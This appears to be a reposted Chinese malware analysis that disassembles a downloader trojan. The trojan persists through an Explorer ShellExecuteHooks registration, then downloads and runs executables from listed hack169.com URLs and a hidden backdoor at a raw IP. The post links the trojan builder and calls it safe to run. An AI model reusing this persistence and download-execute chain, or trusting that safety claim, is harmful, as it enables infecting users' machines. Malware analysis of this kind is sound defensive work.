一款木马的分析

【ARM CoreLink 系列 5.3 -- CI-700 SLC memory 系统组件详细介绍】 在 CI-700 系统级缓存(SLC)内存系统中,HN-F 节点负责管理缓存一致性和数据传输。每个 HN-F 节点可以发送三种类型的 Snoop 请求,以确保系统中多核处理器和缓存之间的一致性。CI-700 中的系统级缓存(SLC)内存系统通过 HN-F 节点支持 TrustZone® 技术。以下是 CI-700 支持的 SN 类型以及配置方法的简要介绍。ARM CI-700 系统级缓存(SLC)是一个分布式、主要排他性(mostly exclusive) 的最后一级缓存,集成在 HN-F 节点内。 阅读详情
 by nbw
4 NE365


  为了配合kanxue老大倡议的多发文,加上近来有些乏,找个别的东西分析一下耍耍。随便从网上下了个木马生成器,是个所谓的下载者,就是Downloader。

  名字叫什么 木马基地八一极限下载者,木马么,都喜欢搞得比较牛的样子,其实都比较龌龊,技术和人品一样龌龊。
 
  附件是木马生成器,建议先运行一下看看,生成器无毒。

  我下面分析的是这个生成器产生的木马,配置信息就用默认的。


木马第一次运行


1.读取配置信息

//第一个函数,Delphi编译器产生的用来初始化异常处理之类,比较经典。
0040464B |. E8 88F6FFFF   call   00403CD8

0040440E |. E8 D9F9FFFF   call   <jmp.&kernel32.GetSystemDirector>; /GetSystemDirectoryA

//这里打开自身文件
004041A9 |. E8 FEFBFFFF   call   <jmp.&kernel32.CreateFileA>     ; /CreateFileA

//读取文件最后面4个字节
004041B5 |. 6A 02       push   2                       ; /Origin = FILE_END
004041B7 |. 6A 00       push   0                       ; |pOffsetHi = NULL
004041B9 |. 6A FC       push   -4                     ; |OffsetLo = FFFFFFFC (-4.)
004041BB |. 53         push   ebx                     ; |hFile
004041BC |. E8 6BFCFFFF   call   <jmp.&kernel32.SetFilePointer>   ; /SetFilePointer
004041C1 |. 6A 00       push   0                       ; /pOverlapped = NULL
004041C3 |. 8D45 F8     lea   eax, [ebp-8]               ; |
004041C6 |. 50         push   eax                     ; |pBytesRead
004041C7 |. 6A 04       push   4                       ; |BytesToRead = 4
004041C9 |. 8D45 F4     lea   eax, [ebp-C]               ; |
004041CC |. 50         push   eax                     ; |Buffer
004041CD |. 53         push   ebx                     ; |hFile
004041CE |. E8 49FCFFFF   call   <jmp.&kernel32.ReadFile>       ; /ReadFile

//将结果异或以下,象征性加过密
004041D3 |. 8175 F4 697A6>xor   dword ptr [ebp-C], 4D617A69

//根据该结果重新定位文件指针地址
004041EB |. 8B45 F4     mov   eax, [ebp-C]               ; |
004041EE |. F7D8       neg   eax                     ; |
004041F0 |. 50         push   eax                     ; |OffsetLo
004041F1 |. 53         push   ebx                     ; |hFile
004041F2 |. E8 35FCFFFF   call   <jmp.&kernel32.SetFilePointer>   ; /SetFilePointer

//读取开始设置的配置信息
00404212 |. 50         push   eax                     ; |Buffer
00404213 |. 53         push   ebx                     ; |hFile
00404214 |. E8 03FCFFFF   call   <jmp.&kernel32.ReadFile>       ; /ReadFile

0040421A |. E8 85FBFFFF   call   <jmp.&kernel32.CloseHandle>     ; /CloseHandle


2.创建DLL文件

//试图删除文件"C:/Program Files/Common Files/Microsoft Shared/MSINFO/InfoMs.dlt"
004046D9 |. E8 D6F6FFFF   call   <jmp.&kernel32.DeleteFileA>     ; /DeleteFileA

如果删除不了,则设置该文件为下次开机后由系统删除。

//查找资源
004040A6 |. 53         push   ebx                     ; /ResourceType
004040A7 |. 56         push   esi                     ; |ResourceName
004040A8 |. A1 50664000   mov   eax, [406650]               ; |
004040AD |. 50         push   eax                     ; |hModule => 00400000 (Hack169)
004040AE |. E8 09FDFFFF   call   <jmp.&kernel32.FindResourceA>   ; /FindResourceA

004040BD |. 57         push   edi                     ; /hResource
004040BE |. A1 50664000   mov   eax, [406650]               ; |
004040C3 |. 50         push   eax                     ; |hModule => 00400000 (Hack169)
004040C4 |. E8 3BFDFFFF   call   <jmp.&kernel32.LoadResource>     ; /LoadResource

004040D3 |. 56         push   esi                     ; /hResource
004040D4 |. E8 33FDFFFF   call   <jmp.&kernel32.LockResource>     ; /LockResource

//创建文件:"C:/Program Files/Common Files/Microsoft Shared/MSINFO/InfoMs.dlt"
004040F5 |. E8 B2FCFFFF   call   <jmp.&kernel32.CreateFileA>     ; /CreateFileA

00404108 |. E8 27FDFFFF   call   <jmp.&kernel32.SizeofResource>   ; /SizeofResource

//将加载的资源写入该文件
0040411B |. E8 1CFDFFFF   call   <jmp.&kernel32.WriteFile>       ; /WriteFile

//将上面读取得配置信息写入该文件
00404139 |. 50         push   eax                     ; |Buffer
0040413A |. 53         push   ebx                     ; |hFile
0040413B |. E8 FCFCFFFF   call   <jmp.&kernel32.WriteFile>       ; /WriteFile
00404140 |. 53         push   ebx                     ; /hFile
00404141 |. E8 DEFCFFFF   call   <jmp.&kernel32.SetEndOfFile>     ; /SetEndOfFile
00404146 |. 53         push   ebx                     ; /hObject
00404147 |. E8 58FCFFFF   call   <jmp.&kernel32.CloseHandle>     ; /CloseHandle

//释放资源
00404154 |. E8 73FCFFFF   call   <jmp.&kernel32.FreeResource>     ; /FreeResource

3.加载该DLL

00404735 |. 68 50484000   push   00404850                 ; /Title = "yundao"
0040473A |. 68 58484000   push   00404858                 ; |Class = "ScrollBar"
0040473F |. E8 18F7FFFF   call   <jmp.&user32.FindWindowA>       ; /FindWindowA

//加载创建的DLL:"C:/Program Files/Common Files/Microsoft Shared/MSINFO/InfoMs.dlt"
0040474D |. E8 AAF6FFFF   call   <jmp.&kernel32.LoadLibraryA>     ; /LoadLibraryA

//获得该DLL导出的2个函数
0040475C |. 68 64484000   push   00404864                 ; /ProcNameOrOrdinal = "MsgHookOff"
00404761 |. 53         push   ebx                     ; |hModule
00404762 |. E8 75F6FFFF   call   <jmp.&kernel32.GetProcAddress>   ; /GetProcAddress
00404767 |. A3 B0664000   mov   [4066B0], eax
0040476C |. 68 70484000   push   00404870                 ; /ProcNameOrOrdinal = "MsgHookOn"
00404771 |. 53         push   ebx                     ; |hModule
00404772 |. E8 65F6FFFF   call   <jmp.&kernel32.GetProcAddress>   ; /GetProcAddress

//为自己创建一个窗体
00403EBD |. E8 B6FFFFFF   call   <jmp.&user32.CreateWindowExA>   ; /CreateWindowExA

//调用上面的DLL导出的函数
004047B3 |. FF15 B4664000 call   [4066B4]                 ; InfoMs.MsgHookOn

//设置了一个钩子,这个钩子啥都没做,也比较艹蛋
00A35570   E8 BBEEFFFF   call   <jmp.&user32.SetWindowsHookExA>

//进入消息循环,不过循环2下就出来了
004047BB |> /68 94664000   /push   00406694                 ; /pMsg = WM_NULL
004047C0 |. |E8 8FF6FFFF   |call   <jmp.&user32.DispatchMessageA>   ; /DispatchMessageA
004047C5 |> |6A 00       push   0                     ; /MsgFilterMax = 0
004047C7 |. |6A 00       |push   0                     ; |MsgFilterMin = 0
004047C9 |. |6A 00       |push   0                     ; |hWnd = NULL
004047CB |. |68 94664000   |push   00406694                 ; |pMsg = Hack169.00406694
004047D0 |. |E8 8FF6FFFF   |call   <jmp.&user32.GetMessageA>     ; /GetMessageA
004047D5 |. |85C0       |test   eax, eax
004047D7 |.^/75 E2       /jnz   short 004047BB

//调用DLL导出的MsgHookOff,里面就是把刚才下的钩子卸掉
004047D9 |. FF15 B0664000 call   [4066B0]                 ; InfoMs.MsgHookOff

4.注册表处理

//HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/ShellExecuteHooks
0040405C |. E8 33FDFFFF   call   <jmp.&advapi32.RegCreateKeyExA>   ; /RegCreateKeyExA

//"{F630F902-0922-45C8-B820-C8AF4C610C28}"
00404073 |. E8 24FDFFFF   call   <jmp.&advapi32.RegSetValueExA>   ; /RegSetValueExA

//HKEY_CLASSES_ROOT/CLSID/{F630F902-0922-45C8-B820-C8AF4C610C28}
0040405C |. E8 33FDFFFF   call   <jmp.&advapi32.RegCreateKeyExA>   ; /RegCreateKeyExA

00404073 |. E8 24FDFFFF   call   <jmp.&advapi32.RegSetValueExA>   ; /RegSetValueExA

//HKEY_CLASSES_ROOT/CLSID/{F630F902-0922-45C8-B820-C8AF4C610C28}/InProcServer32"
0040405C |. E8 33FDFFFF   call   <jmp.&advapi32.RegCreateKeyExA>   ; /RegCreateKeyExA

//buffer:C:/Program Files/Common Files/Microsoft Shared/MSINFO/InfoMs.dlt
00404073 |. E8 24FDFFFF   call   <jmp.&advapi32.RegSetValueExA>   ; /RegSetValueExA

/*
0012FF34   80000000 |hKey = HKEY_CLASSES_ROOT
0012FF38   0093026C |Subkey = "CLSID/{F630F902-0922-45C8-B820-C8AF4C610C28}/InProcServer32"
*/
0040405C |. E8 33FDFFFF   call   <jmp.&advapi32.RegCreateKeyExA>   ; /RegCreateKeyExA

/*
buffer:
004043C4 Apartment
*/
00404073 |. E8 24FDFFFF   call   <jmp.&advapi32.RegSetValueExA>   ; /RegSetValueExA

退出。


作者:nbw 4 NE365 。近来总有人修改版权,没办法,只好在中间插个广告了。   继续看。

下面分析InfoMs.dlt


由于上面将该DLL注册为ShellExecuteHooks项,所以该DLL会被explorer加载。

这里判断加载该DLL的是否为Explorer

//String1 = "LOADDLL.EXE"
//String2 = "Explorer.Exe"
00785738     |. E8 ABECF>call <jmp.&kernel32.lstrcmpiA>                 ; /lstrcmpiA

如果不是则退出。

//从文件末尾读取配置文件

00784634     |. E8 47FDF>call <jmp.&kernel32.CreateFileA>               ; /CreateFileA

0078464B     |. E8 88FDF>call <jmp.&kernel32.SetFilePointer>             ; /SetFilePointer

0078465A     |. E8 69FDF>call <jmp.&kernel32.ReadFile>                 ; /ReadFile

0078467F     |. E8 54FDF>call <jmp.&kernel32.SetFilePointer>             ; /SetFilePointer

007846A1     |. E8 22FDF>call <jmp.&kernel32.ReadFile>                 ; /ReadFile

//将配置信息解密
00784554     |> /8A93 C46>/mov dl,byte ptr ds:[ebx+7860C4]
0078455A     |. |8B0C24   |mov ecx,dword ptr ss:[esp]
0078455D     |. |3011   |xor byte ptr ds:[ecx],dl
0078455F     |. |FF0424   |inc dword ptr ss:[esp]
00784562     |. |43     |inc ebx
00784563     |. |81E3 070>|and ebx,80000007
00784569     |. |79 05   |jns short InfoMs.00784570
0078456B     |. |4B     |dec ebx
0078456C     |. |83CB F8 |or ebx,FFFFFFF8
0078456F     |. |43     |inc ebx
00784570     |> |48     |dec eax
00784571     |.^/75 E1   /jnz short InfoMs.00784554

得到:

00BA0050 DownHeader.. http://www.hack169.com/1.exe..http://www.hack169.com
00BA0090 /2.exe.. http://www.hack169.com/3.exe..http://www.hack169.com/4.e
00BA00D0 xe.. http://www.hack169.com/5.exe..http://www.hack169.com/6.exe..
00BA0110 http://www.hack169.com/7.exe..作者:RobBer QQ:3035777..欢迎访问
00BA0150 木马基地 www.Hack169.com.. $,,....

也就是开始我们设置的下载信息等。

下面解析上面的这个结构,具体略。

007857A6     |. 68 08587>push InfoMs.00785808                       ; /Title = "yundao"
007857AB     |. 68 10587>push InfoMs.00785810                       ; |Class = "ScrollBar"
007857B0     |. E8 4BECF>call <jmp.&user32.FindWindowA>                 ; /FindWindowA

//启动了一个线程
007857B9     |. 68 D0777>push InfoMs.007877D0                       ; /pThreadId = InfoMs.007877D0
007857BE     |. 6A 00   push 0                                 ; |CreationFlags = 0
007857C0     |. 6A 42   push 42                               ; |pThreadParm = 00000042
007857C2     |. 68 F4537>push InfoMs.007853F4                       ; |ThreadFunction = InfoMs.007853F4
007857C7     |. 6A 00   push 0                                 ; |StackSize = 0
007857C9     |. 6A 00   push 0                                 ; |pSecurity = NULL
007857CB     |. E8 C0EBF>call <jmp.&kernel32.CreateThread>               ; /CreateThread

下面研究一下这个线程:

007853FB     |. 68 94547>push InfoMs.00785494                       ; /Title = "yundao"
00785400     |. 68 9C547>push InfoMs.0078549C                       ; |Class = "ScrollBar"
00785405     |. E8 F6EFF>call <jmp.&user32.FindWindowA>                 ; /FindWindowA

0078448C     |. 50     push eax                               ; |WindowName
0078448D     |. 57     push edi                               ; |Class
0078448E     |. 56     push esi                               ; |ExtStyle
0078448F     |. E8 B4FFF>call <jmp.&user32.CreateWindowExA>             ; /CreateWindowExA

//"C:/Program Files/Common Files/Microsoft Shared/MSInfo/InfoMs.dlt"
00785420     |. E8 9BEFF>call <jmp.&kernel32.LoadLibraryA>               ; /LoadLibraryA

//这里设置了一个时间事件
00785156     |> /68 2C517>push InfoMs.0078512C                       ; /Timerproc = InfoMs.0078512C
0078515B     |. 68 E0930>push 493E0                             ; |Timeout = 300000. ms
00785160     |. 6A 00   push 0                                 ; |TimerID = 0
00785162     |. 6A 00   push 0                                 ; |hWnd = NULL
00785164     |. E8 BFF2F>call <jmp.&user32.SetTimer>                   ; /SetTimer

//又设置了一个时间事件2
00785382     |> /68 60537>push InfoMs.00785360                       ; /Timerproc = InfoMs.00785360
00785387     |. 68 C0270>push 927C0                             ; |Timeout = 600000. ms
0078538C     |. 6A 00   push 0                                 ; |TimerID = 0
0078538E     |. 6A 00   push 0                                 ; |hWnd = NULL
00785390     |. E8 93F0F>call <jmp.&user32.SetTimer>                   ; /SetTimer

//进入自身消息循环
00785458     |> /8D45 E4 /lea eax,dword ptr ss:[ebp-1C]
0078545B     |. |50     |push eax                               ; /pMsg
0078545C     |. |E8 97EFF>|call <jmp.&user32.DispatchMessageA>             ; /DispatchMessageA
00785461     |> |6A 00   push 0                               ; /MsgFilterMax = 0
00785463     |. |6A 00   |push 0                               ; |MsgFilterMin = 0
00785465     |. |6A 00   |push 0                               ; |hWnd = NULL
00785467     |. |8D45 E4 |lea eax,dword ptr ss:[ebp-1C]                 ; |
0078546A     |. |50     |push eax                               ; |pMsg
0078546B     |. |E8 98EFF>|call <jmp.&user32.GetMessageA>               ; /GetMessageA
00785470     |. |85C0   |test eax,eax
00785472     |.^/75 E4   /jnz short InfoMs.00785458

我们看一下上面的2个时间事件。


事件1:

既然是下载者,就要从网上下载东西下来,下载的东西就是开始设置的。这个时间事件就处理这个东西。

00784AA4         |> /8B07   /mov eax,dword ptr ds:[edi]
00784AA6         |. |833C98 0>|cmp dword ptr ds:[eax+ebx*4],0
00784AAA         |. |74 18   |je short InfoMs.00784AC4
00784AAC         |. |8B07   |mov eax,dword ptr ds:[edi]
00784AAE         |. |8B0498   |mov eax,dword ptr ds:[eax+ebx*4]
00784AB1         |. |E8 C6FEF>|call InfoMs.0078497C
00784AB6         |. |85C0   |test eax,eax
00784AB8         |. |74 0A   |je short InfoMs.00784AC4
00784ABA         |. |8B07   |mov eax,dword ptr ds:[edi]
00784ABC         |. |8D0498   |lea eax,dword ptr ds:[eax+ebx*4]
00784ABF         |. |E8 14E9F>|call InfoMs.007833D8
00784AC4         |> |43     |inc ebx
00784AC5         |. |4E     |dec esi
00784AC6         |.^/75 DC   /jnz short InfoMs.00784AA4

具体:

00784B93         |. E8 20F8F>call <jmp.&kernel32.GetTempPathA>               ; /GetTempPathA

判断临时目录里是否有1.exe,如果有,则删除

//"C:/DOCUME~1/nbw1/LOCALS~1/Temp/1.exe"
007849CD         |. E8 AA010>call <jmp.&shlwapi.PathFileExistsA>             ; /PathFileExistsA
007849D2         |. 85C0   test eax,eax
007849D4         |. 74 06   je short InfoMs.007849DC
007849D6         |. 53     push ebx                               ; /FileName
007849D7         |. E8 BCF9F>call <jmp.&kernel32.DeleteFileA>               ; /DeleteFileA

从指定的URL下载文件,运行之:

//" http://www.hack169.com/1.exe"
//"C:/DOCUME~1/nbw1/LOCALS~1/Temp/1.exe"
00784A34         |. E8 C3FEF>call <jmp.&URLMON.URLDownloadToFileA>

00784A3D         |. 6A 05   push 5                             ; /IsShown = 5
00784A3F         |. 6A 00   push 0                             ; |DefDir = NULL
00784A41         |. 6A 00   push 0                             ; |Parameters = NULL
00784A43         |. 53     push ebx                           ; |FileName
00784A44         |. 68 804A7>push InfoMs.00784A80                   ; |Operation = "open"
00784A49         |. 6A 00   push 0                             ; |hWnd = NULL
00784A4B         |. E8 ECFEF>call <jmp.&shell32.ShellExecuteA>           ; /ShellExecuteA

如此往复,会把我们生成木马时候设置的URL都连接一遍下来运行一下。


然后看看时间事件2:

//这里传递一个字符串,明显是加密后的
00785321         |. B8 40537>mov eax,InfoMs.00785340                 ; ASCII "nrrv< ))qqq(englogh>(eik)nk(r~r"
00785326         |. E8 65FFF>call InfoMs.00785290

//解密这个字符串:
00785210         |> /8B45 FC /mov eax,dword ptr ss:[ebp-4]
00785213         |. |8A4418 F>|mov al,byte ptr ds:[eax+ebx-1]
00785217         |. |24 0F   |and al,0F
00785219         |. |8B55 F8 |mov edx,dword ptr ss:[ebp-8]
0078521C         |. |8A5432 F>|mov dl,byte ptr ds:[edx+esi-1]
00785220         |. |80E2 0F |and dl,0F
00785223         |. |32C2   |xor al,dl
00785225         |. |8845 F3 |mov byte ptr ss:[ebp-D],al
00785228         |. |8D45 FC |lea eax,dword ptr ss:[ebp-4]
0078522B         |. |E8 1CE5F>|call InfoMs.0078374C
00785230         |. |8B55 FC |mov edx,dword ptr ss:[ebp-4]
00785233         |. |8A541A F>|mov dl,byte ptr ds:[edx+ebx-1]
00785237         |. |80E2 F0 |and dl,0F0
0078523A         |. |8A4D F3 |mov cl,byte ptr ss:[ebp-D]
0078523D         |. |02D1   |add dl,cl
0078523F         |. |885418 F>|mov byte ptr ds:[eax+ebx-1],dl
00785243         |. |46     |inc esi
00785244         |. |8B45 F8 |mov eax,dword ptr ss:[ebp-8]
00785247         |. |E8 A8E2F>|call InfoMs.007834F4
0078524C         |. |3BF0   |cmp esi,eax
0078524E         |. |7E 05   |jle short InfoMs.00785255
00785250         |. |BE 01000>|mov esi,1
00785255         |> |43     |inc ebx
00785256         |. |4F     |dec edi
00785257         |.^/75 B7   /jnz short InfoMs.00785210

得到:

00BA0528 http://www.chajian8.com/hm.txt

00784D5A         |. 68 3C4E7>push InfoMs.00784E3C                   ; ASCII "Open3"
00784D5F         |. E8 C8FDF>call <jmp.&wininet.InternetOpenA>

//连接上面的URL:" http://www.chajian8.com/hm.txt"
00784D88         |. E8 A7FDF>call <jmp.&wininet.InternetOpenUrlA>

//读取该URL的内容:
00784DA1         |> /833F 00 /cmp dword ptr ds:[edi],0
00784DA4         |. |74 56   |je short InfoMs.00784DFC
00784DA6         |. |8D85 F0F>|lea eax,dword ptr ss:[ebp-410]
00784DAC         |. |50     |push eax
00784DAD         |. |8D85 ECF>|lea eax,dword ptr ss:[ebp-414]
00784DB3         |. |8D95 F4F>|lea edx,dword ptr ss:[ebp-40C]
00784DB9         |. |B9 00040>|mov ecx,400
00784DBE         |. |E8 D9E6F>|call InfoMs.0078349C
00784DC3         |. |8B85 ECF>|mov eax,dword ptr ss:[ebp-414]
00784DC9         |. |8B0F   |mov ecx,dword ptr ds:[edi]
00784DCB         |. |BA 01000>|mov edx,1
00784DD0         |. |E8 7FE9F>|call InfoMs.00783754
00784DD5         |. |8B95 F0F>|mov edx,dword ptr ss:[ebp-410]
00784DDB         |. |8BC3   |mov eax,ebx
00784DDD         |. |E8 1AE7F>|call InfoMs.007834FC
00784DE2         |> |57     push edi
00784DE3         |. |68 00040>|push 400
00784DE8         |. |8D85 F4F>|lea eax,dword ptr ss:[ebp-40C]
00784DEE         |. |50     |push eax
00784DEF         |. |8B45 F8 |mov eax,dword ptr ss:[ebp-8]
00784DF2         |. |50     |push eax
00784DF3         |. |E8 44FDF>|call <jmp.&wininet.InternetReadFile>
00784DF8         |. |85C0   |test eax,eax
00784DFA         |.^/75 A5   /jnz short InfoMs.00784DA1

00784E00         |. E8 1FFDF>call <jmp.&wininet.InternetCloseHandle>

00784E09         |. E8 16FDF>call <jmp.&wininet.InternetCloseHandle>

获得的内容是什么呢?可以自己去看一下这个URL:

nrrv< ))07(721(77>(475)gb7(c~c

明显这又是个加密后的数据,解密该内容,方法同上面的解密,得到:

http://61.147.118.213/ad1.exe

//连接该地址" http://61.147.118.213/ad1.exe"
00784D88         |. E8 A7FDF>call <jmp.&wininet.InternetOpenUrlA>

//读取内容
00784DA1         |> /833F 00 /cmp dword ptr ds:[edi],0
00784DA4         |. |74 56   |je short InfoMs.00784DFC
00784DA6         |. |8D85 F0F>|lea eax,dword ptr ss:[ebp-410]
00784DAC         |. |50     |push eax
00784DAD         |. |8D85 ECF>|lea eax,dword ptr ss:[ebp-414]
00784DB3         |. |8D95 F4F>|lea edx,dword ptr ss:[ebp-40C]
00784DB9         |. |B9 00040>|mov ecx,400
00784DBE         |. |E8 D9E6F>|call InfoMs.0078349C
00784DC3         |. |8B85 ECF>|mov eax,dword ptr ss:[ebp-414]
00784DC9         |. |8B0F   |mov ecx,dword ptr ds:[edi]
00784DCB         |. |BA 01000>|mov edx,1
00784DD0         |. |E8 7FE9F>|call InfoMs.00783754
00784DD5         |. |8B95 F0F>|mov edx,dword ptr ss:[ebp-410]
00784DDB         |. |8BC3   |mov eax,ebx
00784DDD         |. |E8 1AE7F>|call InfoMs.007834FC
00784DE2         |> |57     push edi
00784DE3         |. |68 00040>|push 400
00784DE8         |. |8D85 F4F>|lea eax,dword ptr ss:[ebp-40C]
00784DEE         |. |50     |push eax
00784DEF         |. |8B45 F8 |mov eax,dword ptr ss:[ebp-8]
00784DF2         |. |50     |push eax
00784DF3         |. |E8 44FDF>|call <jmp.&wininet.InternetReadFile>
00784DF8         |. |85C0   |test eax,eax
00784DFA         |.^/75 A5   /jnz short InfoMs.00784DA1


//"C:/DOCUME~1/nbw1/LOCALS~1/Temp/ad1.exe.exe"
00784E58         |. 55     push ebp                           ; /FileName
00784E59         |. E8 3AF5F>call <jmp.&kernel32.DeleteFileA>           ; /DeleteFileA

//创建文件"C:/DOCUME~1/nbw1/LOCALS~1/Temp/ad1.exe.exe"
00784E71         |. E8 0AF5F>call <jmp.&kernel32.CreateFileA>           ; /CreateFileA

//将上面从网上下载的内容存放到该文件内
00784E93         |. 50     push eax                           ; |Buffer
00784E94         |. 53     push ebx                           ; |hFile
00784E95         |. E8 46F5F>call <jmp.&kernel32.WriteFile>             ; /WriteFile
00784E9A         |. 53     push ebx                           ; /hFile
00784E9B         |. E8 30F5F>call <jmp.&kernel32.SetEndOfFile>           ; /SetEndOfFile

//启动该文件"C:/DOCUME~1/nbw1/LOCALS~1/Temp/ad1.exe.exe"
00784F0A         |. E8 79F4F>call <jmp.&kernel32.CreateProcessA>         ; /CreateProcessA

这个ad1.exe,就是木马作者留的后门,我们开始并不知道。貌似是个流氓软件。


总结一下,这个所谓的下载者释放了一个dll,利用稍微特殊点的手段(其实也不是什么技术),把这个dll加载到Explorer里面;

dll的末尾是需要下载的URL地址之类,将该信息解析出来,然后下载下来执行,可以是木马之类;

另外该dll会下载 http://61.147.118.213/ad1.exe执行,这个是木马作者自己放的,从他提供的生成器中是看不到的。写木马么,除了有些rpwt,也要挣钱嘛。

附件是木马生成器,可以运行,无毒。

生成的木马文件不建议运行。


附件:

http://bbs.pediy.com/attachment.php?s=&attachmentid=2368
从零到精通:BLDC电机驱动电路详解与设计思路 这套电机驱动电路从核心控制器到反馈采集模块,涉及了BLDC电机驱动的方方面面。每一个模块的设计和选择都需要综合考虑系统需求和实际使用环境。在实际应用中,很多细微的设计改进都会显著影响电机的运行性能。 阅读详情

相关推荐

正点原子ATK-LORA-01无线串口代码移植+STM32F103C8T6(标准库)

目录 一、ATK-LORA-01无线串口资料 二、代码移植 1.分析 (1)usart3(也可以是其他的串口)用于接收数据的串口 usart.h (2)time3(也可以是其他的定时器)用于时序的设置 (3)lora.c 三、演示 1.主机(发送方) (1)主机接线 (2)主机代码(发送方) (3)主机实物 插上无线串口通电即可发送​ 2.从机(接收方) (1)从机接线(LORA与主机相同) (2)从机代码(接收方) (3)从机实物 接上TTL和LORA并通电即...

m0_56942354的博客 8969

Win32远线程注入

也就是说,虽然进程不同,但是开机后,kernel32.dll的加载基址在各个进程中都是相同的,因此导出函数的地址也相同。那么,可将LoadLibrary函数的地址作为多线程函数的地址,某个DLL路径字符串作为多线程函数的参数,并传递给CreateRemoteThread函数在目标进程空间中创建一个多线程,这样能不能成功呢?此值不能与任何其他值一起使用。指向由线程执﹐行类型为LPTHREAD_START_ROUTINE的应用程序定义的函数指针,并表示远程进程中线程的起始地址,该函数必须存在于远程进程中。

【微软MVP】zhaotianff的专栏 1629

【嵌入式笔试题】C语言笔试题(4)

嵌入式C语言综合笔试题

m0_74055118的博客 1070

一个简单木马分析及接管利用

近期一段时间,感觉工作非常是杂乱无章,博客也基本没时间来写,基本每月一篇,事实上每写一篇也代表眼下我自己的工作状态及内容。近期搞逆向这一块,找了些样本分析样例。自己也研究了一下,感觉有不少好东西。当然这些样本非常多都过时了,甚至淘汰了。但对于学习而言还是有点用处,这里介绍一个简单木马分析及其接管利用。 本文分析的木马样本来自吾爱破解论坛。早之前2010年时就有人分析过:http://ww...

weixin_33674437的博客 214

PIVlab软件入门:从GUI操作到2D2C粒子测速实战

本文详细介绍了PIVlab软件在2D2C粒子测速中的入门与实战应用。从GUI操作到环境搭建,再到图像预处理和核心参数设置,帮助用户快速掌握这一基于MATLAB的开源工具。通过实际案例和技巧分享,展示了PIVlab在流体力学实验中的高效性和实用性。

weixin_42547431的博客 227

ABB机器人与西门子PLC、工业相机联合实现无序抓取的完整调试方案

将此方案导入系统后,逐步执行调试,确保各环节信号正常触发,即可实现高效无序抓取!

CHUXUEZHE8210的博客 1996

木马分析

木马分析 原理 1.木马是隐藏在正常程序中的具有特殊功能恶意代码,是具备破坏,删除和修改文件,发送密码,记录键盘,实施Dos攻击甚至完全可能告知计算机等特殊功能的后门程序。它隐藏在目标计算机里,可以随计算机自动启动并在某一端口监听来自控制端的控制信息。 2.木马的传统连接技术: 一般木马都采用C/S(client/server,即服务器/客户端)运行模式,因此它分为两部分,即客户端和服务前端木马程序。其原理是,当服务器端程序在目标计算机上被执行后,一般会打开一个默认的端口进行监听,当客户端向服务器端主动提出

qq_45157635的博客 1279

一文搞懂【Linux 搭建 Dread Hunger 服务器】附本体及Docker部署集群方案

看直播发现了五花八门的开服器和版本,一时兴起按官方文档进行了搭建尝试,所以我的版本基于官方Stream2024.01.10更新的版本,也就是停服时的玩法,应该可以根据mod和补丁魔改成更那些开服器一样的版本,本文不做谈论,注重服务器搭建,毕竟8个人不可能在一个局域网里乱象:首先,我看了大量教程视频,一类是开服器的推广,另一类自建的基本采用Windows搭建,我觉得最离谱的是大部分教程都会教你买一台远程Windows虚拟机???

LHmine的博客 3988

木马分析(隐藏分析)

实验目的&要求: 了解木马隐藏技术的基本原理 提高木马攻击的防范意识 明确木马技术的发展方向 学会使用木马防范的相关工具 实现实验所提到的命令和工具,得到实验结果 预备知识 木马隐藏的技术 程序隐藏: 木马程序隐藏通常指利用各种手段伪装木马程序,让一般用户无法从表面上直接识别出木马程序。要达到这一目的可以通过程序捆绑的方式实现。 程序捆绑方式是将多个exe程序链接在一起组合成一个exe文件,当运行该exe文件时,多个程序同时运行。程序捆绑有多种方式,如将多个exe文件...

lalalalala~~ 1414

论文阅读 Quantum Convolutional neural network

在传统的局域序参量(如磁化强度 ⟨Xi⟩)无法有效区分某些拓扑相(如 Haldane 相)时,字符串序参量(SOP)提供了一种方法来识别这些相。字符串序参量的定义通常涉及多个远离的站点之间的长程关联,通常具有如下形式:Zi,Xk,Zj是泡利矩阵(Pauli operators)。指数项 eiπ∑k=ijXk表示一个相位因子。这意味着我们要计算两个远离站点 i,j 的Z 分量的关联,同时考虑它们之间的X 作用。这个非局域的字符串序参量可以用来检测对称保护拓扑(SPT)相。

m0_54373077的博客 2005

Cadence Sigrity

目录 一、PowerSI 1、PowerSI仿真前设置 2、PowerSI提取S参数 (1)检查叠层 (2)选择需要提取的走线和GND (3)设置端口 (4)设置提取频率和提取方式 (5)运行仿真 一、PowerSI PowerSI是一个交流分析工具,适用于频域仿真。 S参数提取 电源阻抗提取 全波参数提取 阻抗、耦合检查 谐振分析 1、PowerSI仿真前设置 打开PCB文件: 打开后如图: 设置为单色后: 仿真前的设置:

fang_yang_wa的博客 3万+

木马病毒制作及分析

实验目的 本次实验为考核实验,需要独立设计完成一次网络攻防的综合实验。设计的实验中要包括以下几个方面内容: (1) 构建一个具有漏洞的服务器,利用漏洞对服务器进行入侵或攻击; (2) 利用网络安全工具或设备对入侵与攻击进行检测; 【注意事项】 1.本病毒程序用于实验目的,面向实验演示,侧重于演示和说明病毒的内在原理,破坏功能有限。在测试病毒程序前,需先关闭杀毒软件的自动防护功能或直接关闭杀毒软件。 2.若在个人电脑上实验,最好在虚拟机中运行。 3.测试完毕后,请注意病毒程序的清除,以免误操作破坏

qq_45785457的博客 2万+

无人船 | 基于ROS的轻量级多无人艇自主导航仿真框架

无人水面艇USV是海上自主无人系统的关键组成部分,在民用、军用领域应用广泛,例如海上救援、水质测量、扫雷反潜等,因此对USV导航算法的研究具有重要意义。为了便于进行USV相关算法的验证与部署,本文介绍的这套基于ROS的多无人艇的自主导航仿真平台,轻量化地实现了建图、规划、控制等多种功能,同时自研框架保证了功能的高度可拓展和可定制

FRIGIDWINTER的博客 8015

关于一款远控木马的简单分析

其实很多朋友都不明白木马是如何简简单单的窃取了你的帐号密码乃至你的网银帐号,趁其你使用网银U盾还没有拔下来,直接操纵你的计算机进行转账,或者更高级的在你转账之时修改网页内容,甚至在你不知不觉中开启你计算机的摄像头,对你进行一个全方位360度兼后空翻720度的监控。 下面我以一款木马作为实例为大家做一个简单的分析。 这是一款体积非常小的控制软件,并且它还具备着较强的穿透防火墙和杀毒软件的主动防御

followingturing 追随图灵的路上... 7363

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

分析一款实验室的木马

